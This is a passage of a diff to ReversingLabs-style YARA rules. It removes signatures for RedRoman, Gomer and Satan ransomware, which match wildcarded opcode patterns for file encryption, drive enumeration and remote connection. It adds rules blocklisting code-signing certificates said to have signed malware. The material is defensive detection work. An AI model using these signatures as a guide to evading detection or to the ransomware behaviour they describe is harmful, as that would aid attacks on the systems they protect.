?? ?? - ?? ?? 85 C0 74 ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? - 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 53 FF 15 ?? ?? - ?? ?? 8B 1D ?? ?? ?? ?? FF D3 8B F0 83 FE ?? 75 ?? 83 7F ?? ?? 8B C7 72 ?? 8B 07 68 - ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 7F ?? ?? 72 ?? 8B 3F 57 FF 15 ?? ?? - ?? ?? 85 C0 75 ?? FF D3 8B F0 EB ?? FF 15 ?? ?? ?? ?? EB ?? 33 F6 8D 4D ?? E8 ?? ?? - ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? C2 - } - $remote_connection_p1 = { - 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8B 5D ?? 56 57 6A ?? 8B FA 8B F1 - FF 15 ?? ?? ?? ?? 33 C0 50 50 89 45 ?? 89 45 ?? 8D 45 ?? 50 8D 45 ?? 50 6A ?? 57 56 - FF 15 ?? ?? ?? ?? 8B D3 8B C8 E8 ?? ?? ?? ?? 83 3B ?? 8B F0 75 ?? 68 ?? ?? ?? ?? EB - ?? 81 3B ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? EB ?? 81 3B ?? ?? ?? - ?? 74 ?? 81 3B ?? ?? ?? ?? 74 ?? 85 F6 74 ?? 83 C8 ?? EB ?? 83 65 ?? ?? 8D 75 ?? 8B - 45 ?? 8B FB C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? A5 A5 A5 8B 4D ?? 5F 5E 33 CD 5B E8 ?? - ?? ?? ?? C9 C3 - } - $remote_connection_p2 = { - 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8B 5D ?? 56 57 6A ?? 8B FA 8B F1 - FF 15 ?? ?? ?? ?? 33 C0 50 50 50 89 45 ?? 8D 45 ?? 50 FF 75 ?? 57 56 FF 15 ?? ?? ?? - ?? 8B D3 8B C8 E8 ?? ?? ?? ?? 83 3B ?? 8B F0 75 ?? 68 ?? ?? ?? ?? EB ?? 81 3B ?? ?? - ?? ?? 75 ?? 68 ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 85 F6 74 ?? 83 C8 ?? EB ?? 83 65 ?? - ?? 8D 75 ?? 8B 45 ?? 8B FB C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? A5 A5 A5 8B 4D ?? 5F 5E - 33 CD 5B E8 ?? ?? ?? ?? C9 C3 - } - $encrypt_files_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ?? - 33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 8B 45 ?? 83 F8 ?? C7 45 ?? ?? ?? ?? ?? 0F - 94 C7 83 F8 ?? 0F 94 C3 83 F8 ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 0F B6 C3 83 F0 ?? 8D 04 - 45 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 6A ?? FF 76 ?? FF 15 ?? ?? ?? ?? 8B C8 89 4E ?? - 85 C9 0F 84 ?? ?? ?? ?? 84 FF 74 ?? BF ?? ?? ?? ?? EB ?? 0F B6 C3 8D 3C 45 ?? ?? ?? - ?? 8B 56 ?? 8B 46 ?? 85 D2 7C ?? 0F 8F ?? ?? ?? ?? 85 C0 72 ?? 85 D2 7C ?? 0F 8F ?? - ?? ?? ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 83 F8 ?? 74 ?? 89 55 ?? EB ?? 0F 57 C0 66 0F 13 - 45 ?? 8B 45 ?? FF 75 ?? 50 FF 75 ?? FF 75 ?? 57 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D - 4D ?? 89 46 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? - 59 5F 5E 5B 8B E5 5D C2 - } - $encrypt_files_p2 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 56 A1 ?? ?? ?? ?? 33 C5 - 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 83 7E ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? - ?? 8B 4D ?? 85 C9 74 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? EB ?? 8B 45 ?? 85 C0 74 ?? 0F - 8E ?? ?? ?? ?? 83 F8 ?? 7E ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? EB ?? F6 C1 ?? C7 45 ?? ?? - ?? ?? ?? B8 ?? ?? ?? ?? 0F 95 C0 40 89 45 ?? 83 7D ?? ?? 7F ?? 0F 8C ?? ?? ?? ?? 83 - 7D ?? ?? 0F 82 ?? ?? ?? ?? 83 7D ?? ?? 7F ?? 0F 8C ?? ?? ?? ?? 83 7D ?? ?? 0F 82 ?? - ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 8D 45 ?? 8B - CE 50 E8 ?? ?? ?? ?? 8D 45 ?? 8B CE 50 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D - ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B E5 5D C2 ?? ?? 8D 45 ?? 6A - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 C6 45 ?? - ?? E8 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? 8D 4D ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 45 - ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 C6 - 45 ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PHL E STATE ApS" and ( pe.signatures [ i ] . serial == "00:b2:f9:c6:93:a2:e6:63:45:65:f6:3c:79:b0:1d:d8:f8" or pe.signatures [ i ] . serial == "b2:f9:c6:93:a2:e6:63:45:65:f6:3c:79:b0:1d:d8:f8" ) and 1620000000 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_54A6D33F73129E0Ef059Ccf51Be0C35E : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "1cf2bda8-05e6-5f0a-a28a-2f5fa02775c9" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12012-L12028" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "6fbed9c8537ea2baeb58044a934fc9741730b8a3ae4d059c23b033973d7ff7d3" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "STAFFORD MEAT COMPANY, INC." and pe.signatures [ i ] . serial == "54:a6:d3:3f:73:12:9e:0e:f0:59:cc:f5:1b:e0:c3:5e" and 1607100127 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win64_Ransomware_Redroman : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_142Aac4217E22B525C8587589773Ba9B : INFO FILE { meta: - description = "Yara rule that detects RedRoman ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c860586a-fa50-5bb4-a3b4-13506f9d6030" - date = "2021-05-10" - modified = "2021-05-10" + id = "488be2f7-e3d4-51e3-b7bb-142caa7b2bd5" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.RedRoman.yara#L1-L82" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12030-L12046" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6fb2ac0e7f7ac095766e27c057e5124406dc493c08d01a7e5381403d794c7240" + logic_hash = "f169925c27f5e0f8d5f658b83d1b9fa4548c4443b16bd4d7f87aa2b8e44bf06b" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "RedRoman" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? - ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? - ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 4C 8D 8C 24 ?? ?? ?? ?? 41 B8 ?? ?? - ?? ?? BA ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 C7 84 - 24 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 85 C0 75 ?? 33 D2 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 8D 84 24 ?? ?? - ?? ?? 48 89 44 24 ?? 41 B9 ?? ?? ?? ?? 45 33 C0 BA ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 6B C9 ?? 48 89 84 0C ?? ?? ?? ?? 48 C7 84 24 - ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 85 C0 75 ?? B8 ?? ?? ?? ?? 48 6B C0 ?? 48 83 BC 04 ?? - ?? ?? ?? ?? 74 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 84 - 24 ?? ?? ?? ?? EB ?? 33 D2 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? - E9 ?? ?? ?? ?? 33 D2 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 49 ?? 48 89 01 48 8B 44 24 ?? 48 8B - 40 ?? 48 83 38 ?? 75 ?? 48 8D 15 ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? B8 ?? ?? - ?? ?? 48 6B C0 ?? 48 83 BC 04 ?? ?? ?? ?? ?? 74 ?? B8 ?? ?? ?? ?? 48 6B C0 ?? 48 8B - 8C 04 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B8 - } - $encrypt_files_p2 = { - 4C 8D 05 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 48 8B 4D ?? 48 8B 55 ?? E8 ?? ?? ?? ?? 48 89 - 55 ?? 48 89 45 ?? EB ?? 31 C0 41 89 C0 48 8B 4D ?? 48 8B 55 ?? E8 ?? ?? ?? ?? 48 89 - 45 ?? EB ?? 48 8B 45 ?? 48 83 F8 ?? 74 ?? 48 8B 55 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? EB ?? EB ?? 48 81 C4 ?? ?? ?? ?? 5D C3 48 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 48 8B - 85 ?? ?? ?? ?? 48 85 C0 74 ?? EB ?? EB ?? 0F 0B 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? - ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? - ?? ?? C6 85 ?? ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? - ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? - ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? - 48 89 85 ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? - 48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 85 - C0 74 ?? EB ?? EB ?? 0F 0B 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? - ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? - ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? - ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? - 48 8B 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 89 8D - } - $find_files = { - 48 8D 9C 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 D9 31 D2 E8 ?? ?? ?? ?? 48 8B 0F 48 - 89 DA E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 8D B4 24 ?? ?? ?? ?? 48 8D 9C 24 ?? - ?? ?? ?? 66 83 BC 24 ?? ?? 00 00 ?? 74 ?? EB ?? 0F 1F 84 00 ?? ?? ?? ?? 48 8B 0F 48 - 89 DA E8 ?? ?? ?? ?? 85 C0 74 ?? 66 83 BC 24 ?? ?? 00 00 ?? 75 ?? 0F B7 84 24 ?? ?? - ?? ?? 66 85 C0 74 ?? 66 83 F8 ?? 75 ?? 66 83 BC 24 ?? ?? 00 00 ?? 74 ?? 48 8B 47 ?? - F0 48 83 00 ?? 0F 8E ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 41 - B8 ?? ?? ?? ?? 4C 89 F1 E8 ?? ?? ?? ?? 48 C7 06 ?? ?? ?? ?? 48 8D 4E ?? 48 8D 94 24 - ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 48 - C7 06 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 48 C7 06 ?? ?? ?? ?? C6 46 ?? ?? 89 46 ?? 48 - 89 F0 0F 28 B5 ?? ?? ?? ?? 0F 28 BD ?? ?? ?? ?? 44 0F 28 85 ?? ?? ?? ?? 44 0F 28 8D - ?? ?? ?? ?? 44 0F 28 95 ?? ?? ?? ?? 44 0F 28 9D ?? ?? ?? ?? 44 0F 28 A5 ?? ?? ?? ?? - 44 0F 28 AD ?? ?? ?? ?? 44 0F 28 B5 ?? ?? ?? ?? 44 0F 28 BD ?? ?? ?? ?? 48 8D A5 ?? - ?? ?? ?? 5B 5F 5E 41 5E 5D C3 0F 0B - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "A.B. gostinstvo trgovina posredni\\xC5\\xA1tvo in druge storitve, d.o.o." and pe.signatures [ i ] . serial == "14:2a:ac:42:17:e2:2b:52:5c:85:87:58:97:73:ba:9b" and 1614124800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Gomer : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_239664C12Baeb5A6D787912888051392 : INFO FILE { meta: - description = "Yara rule that detects Gomer ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b76ac856-2abe-531d-b093-461569b9afb7" - date = "2020-10-08" - modified = "2020-10-08" + id = "4d24a880-6fa5-5c22-875e-29f4985e3750" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Gomer.yara#L1-L106" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12048-L12064" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a53d37fcb877a12a4969a6ea1aaa67fc4106c3fbdd80a4fd39ad5a66a9df47fc" + logic_hash = "ab2c228088a4c11b3a0f1a5f0acf181cc31e548781cb3f1205475bfbe39c7236" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Gomer" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B - 7D ?? 2B CA D1 F9 83 C8 ?? 41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 56 8D 5F ?? - 03 D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? - ?? 83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 - ?? 85 C0 75 ?? 8B 4D ?? 56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5F - 5B 8B E5 5D C3 33 C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? - ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 56 57 6A ?? 5E 6A ?? - 89 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 5F EB ?? 0F B7 01 66 3B 85 ?? ?? ?? - ?? 74 ?? 66 3B C6 74 ?? 66 3B C7 74 ?? 83 E9 ?? 3B CB 75 ?? 0F B7 31 66 3B F7 75 ?? - 8D 43 ?? 3B C8 74 ?? 52 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 6A ?? - 8B C6 33 FF 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 8B C7 - } - $find_files_p2 = { - EB ?? 33 C0 40 2B CB 0F B6 C0 D1 F9 41 F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 - 57 53 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? 8B 85 ?? ?? ?? ?? 50 57 57 53 E8 ?? ?? - ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD - 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 8D ?? ?? ?? ?? 6A ?? 8B 41 ?? 2B 01 C1 F8 ?? 89 85 - ?? ?? ?? ?? 58 66 39 85 ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 66 39 85 ?? ?? - ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 51 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 - E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 8B 8D - ?? ?? ?? ?? 85 C0 6A ?? 58 75 ?? 8B C1 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 - ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? - 83 C4 ?? E9 - } - $encrypt_files = { - 55 8B EC 51 8B 45 ?? 53 56 57 8B F9 8B 4F ?? 89 4D ?? 3B C1 77 ?? 8B DF 83 F9 ?? 72 - ?? 8B 1F 8D 34 00 89 47 ?? 56 FF 75 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 04 1E - 8B C7 5F 5E 5B 8B E5 5D C2 ?? ?? 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 8B F0 83 CE ?? 81 - FE ?? ?? ?? ?? 76 ?? BE ?? ?? ?? ?? EB ?? 8B D1 B8 ?? ?? ?? ?? D1 EA 2B C2 3B C8 76 - ?? BE ?? ?? ?? ?? EB ?? 8D 04 0A 3B F0 0F 42 F0 8D 46 ?? 8D 0C 00 3D ?? ?? ?? ?? 76 - ?? 83 C9 ?? EB ?? 81 F9 ?? ?? ?? ?? 72 ?? 8D 41 ?? 83 CA ?? 3B C1 0F 46 C2 50 E8 ?? - ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 58 ?? 83 E3 ?? 89 43 ?? EB ?? 85 C9 74 ?? 51 E8 ?? - ?? ?? ?? 83 C4 ?? 8B D8 EB ?? 33 DB 8B 45 ?? 89 77 ?? 89 47 ?? 8D 34 00 56 FF 75 ?? - 53 E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 66 89 04 1E 8B 45 ?? 83 F8 ?? 72 ?? 8D 0C 45 ?? ?? - ?? ?? 8B 07 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 77 ?? - 8B C2 51 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 1F 8B C7 5F 5E 5B 8B E5 5D C2 ?? ?? E8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? CC CC CC CC CC B8 ?? ?? ?? ?? C3 - } - $enum_drives_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 - 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 15 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 6A ?? 33 C0 C7 - 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? C6 - 45 ?? ?? BF ?? ?? ?? ?? 8D 45 ?? 0F A3 38 0F 83 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8D - 47 ?? 0F 43 4D ?? 66 89 01 8D 45 ?? 83 7D ?? ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 83 - F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 33 C9 C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? 66 89 4D ?? C6 45 ?? ?? 83 F8 ?? 75 ?? 6A ?? 68 ?? ?? ?? ?? EB ?? - 83 F8 ?? 75 ?? 6A ?? 68 ?? ?? ?? ?? EB ?? 83 F8 ?? 75 ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D - ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 55 ?? 56 8D 4D ?? E8 ?? ?? - ?? ?? 8B 4D ?? B8 ?? ?? ?? ?? 2B CE C6 45 ?? ?? F7 E9 83 C4 ?? C1 FA ?? 8B DA C1 EB - ?? 03 DA 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? - ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? - ?? ?? 83 C4 ?? FF 35 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 55 ?? 56 8D 4D ?? E8 ?? ?? ?? - ?? 8B 4D ?? B8 ?? ?? ?? ?? 2B CE 89 7D ?? F7 E9 83 C4 ?? 89 5D ?? C1 FA ?? 8D 4D - } - $enum_drives_p2 = { - 8B C2 C1 E8 ?? 03 C2 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? FF 75 - ?? 50 51 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B - 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 - C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 47 83 FF ?? 0F 8C ?? - ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 89 5D ?? C6 45 ?? ?? 8B 4D ?? 8B 31 - 3B F1 0F 84 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? FF 75 ?? 8B C8 C6 45 - ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F8 C6 45 ?? ?? 8B 4E ?? 89 4F ?? 8B 4E ?? 89 4F ?? 8D - 4F ?? 8B 46 ?? 89 47 ?? 8D 46 ?? 3B C8 74 ?? 83 78 ?? ?? 8B D0 72 ?? 8B 10 FF 70 ?? - 52 E8 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 57 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $enum_drives_p* ) ) and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FORTH PROPERTY LTD" and pe.signatures [ i ] . serial == "23:96:64:c1:2b:ae:b5:a6:d7:87:91:28:88:05:13:92" and 1618272000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Satan : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_0218Ebfd5A9Bfd55D2F661F0D18D1D71 : INFO FILE { meta: - description = "Yara rule that detects Satan ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7ec379d8-172c-52ee-9284-6898dd446468" - date = "2020-06-26" - modified = "2020-07-15" + id = "d03619c7-c4e8-57bd-a19e-1452ab7a76df" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = 